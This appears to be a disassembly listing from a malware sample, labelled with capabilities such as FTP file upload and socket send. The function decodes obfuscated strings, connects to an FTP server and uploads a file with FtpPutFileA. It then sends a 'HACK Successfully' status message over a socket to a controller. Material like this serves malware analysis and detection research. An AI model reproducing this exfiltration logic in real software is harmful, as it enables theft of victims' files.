Function at 0x1001bd40
Capabilities:
Connect to http server
Create http request
Send data
Send data on socket
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003665b
mov eax, dword fs:[0]
push eax
sub esp, 0x9c
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 4], 1
lea edi, [ebx + 0x2c]
mov eax, str.PbXCiN1WEHGUBNJclziIAYy3WaTw5lDU4AdDENnXJlQ
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0x80]
push ecx
mov byte [ebp - 4], 2
call fcn.10002750
add esp, 8
mov byte [ebp - 4], 4
cmp dword [ebp - 0x18], 0x10
jb 0x1001bdbe
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, 0xf
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x34], eax
lea edi, [eax + 0x1d]
mov eax, str.UNfVqVL0JDyr0trbNH6fnnujWB6bb09K4H5cFAK1fK0
lea esi, [ebp - 0x48]
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0x64]
push ecx
mov byte [ebp - 4], 5
call fcn.10002750
add esp, 8
mov byte [ebp - 4], 7
cmp dword [ebp - 0x34], 0x10
jb 0x1001be0f
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, 0xf
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x18], eax
lea edi, [eax + 9]
mov eax, str.ox5JXJD07_61jthgVFYhvA
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.10002d20
mov eax, esi
push eax
lea ecx, [ebp - 0x9c]
push ecx
mov byte [ebp - 4], 8
call fcn.10002750
add esp, 8
mov edi, 0x10
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x18], edi
jb 0x1001be67
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
push ebx
push ebx
push ebx
push 1
push ebx
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp - 0x9c]
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0x88], edi
jae 0x1001be9a
lea esi, [ebp - 0x9c]
mov edx, dword [ebp - 0x64]
cmp dword [ebp - 0x50], edi
jae 0x1001bea5
lea edx, [ebp - 0x64]
mov ecx, dword [ebp - 0x80]
cmp dword [ebp - 0x6c], edi
jae 0x1001beb0
lea ecx, [ebp - 0x80]
push ebx
push 0x8000000
push 1
push esi
push edx
push 0x15
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edx, dword [ebp + 0x24]
mov dword [ebp - 0xa4], eax
cmp dword [ebp + 0x38], edi
jae 0x1001bed5
lea edx, [ebp + 0x24]
mov ecx, dword [ebp + 8]
cmp dword [ebp + 0x1c], edi
jae 0x1001bee0
lea ecx, [ebp + 8]
push ebx
push 2
push edx
push ecx
push eax
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
jne 0x1001bf16
push str._FILEEND_
push 0x1015e89c
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0x1015f4ac]
add esp, 8
push ebx
push 0x104
push 0x1015e89c
push eax
jmp 0x1001bf3b
push str._FILESTART_HACK__Successfully
push 0x1015e89c
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [0x1015f4ac]
add esp, 8
push ebx
push 0x104
push 0x1015e89c
push ecx
call dword [sym.imp.WS2_32.dll_send]
lea edx, [ebp - 0x48]
push edx
lea ecx, [ebp - 0x80]
call fcn.100025f0
add esp, 4
mov edi, eax
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 0xb
call fcn.100032d0
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x34], 0x10
jb 0x1001bf75
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x64]
call fcn.100025f0
add esp, 4
mov edi, eax
lea esi, [ebp - 0x64]
mov byte [ebp - 4], 0xc
call fcn.100032d0
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x34], 0x10
jb 0x1001bfa9
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x9c]
call fcn.100025f0
add esp, 4
mov edi, eax
lea esi, [ebp - 0x9c]
mov byte [ebp - 4], 0xd
call fcn.100032d0
mov edi, 0x10
cmp dword [ebp - 0x34], edi
jb 0x1001bfe3
mov ecx, dword [ebp - 0x48]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov edx, dword [ebp - 0xa4]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edx
call esi
mov eax, dword [ebp - 0xa0]
push eax
call esi
cmp dword [ebp - 0x88], edi
jb 0x1001c013
mov ecx, dword [ebp - 0x9c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov esi, 0xf
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x8c], ebx
mov byte [ebp - 0x9c], bl
cmp dword [ebp - 0x50], edi
jb 0x1001c03c
mov edx, dword [ebp - 0x64]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
cmp dword [ebp - 0x6c], edi
jb 0x1001c057
mov eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x70], ebx
mov byte [ebp - 0x80], bl
cmp dword [ebp + 0x1c], edi
jb 0x1001c072
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp + 0x1c], esi
mov dword [ebp + 0x18], ebx
mov byte [ebp + 8], bl
cmp dword [ebp + 0x38], edi
jb 0x1001c08d
mov edx, dword [ebp + 0x24]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034620
mov esp, ebp
pop ebp
ret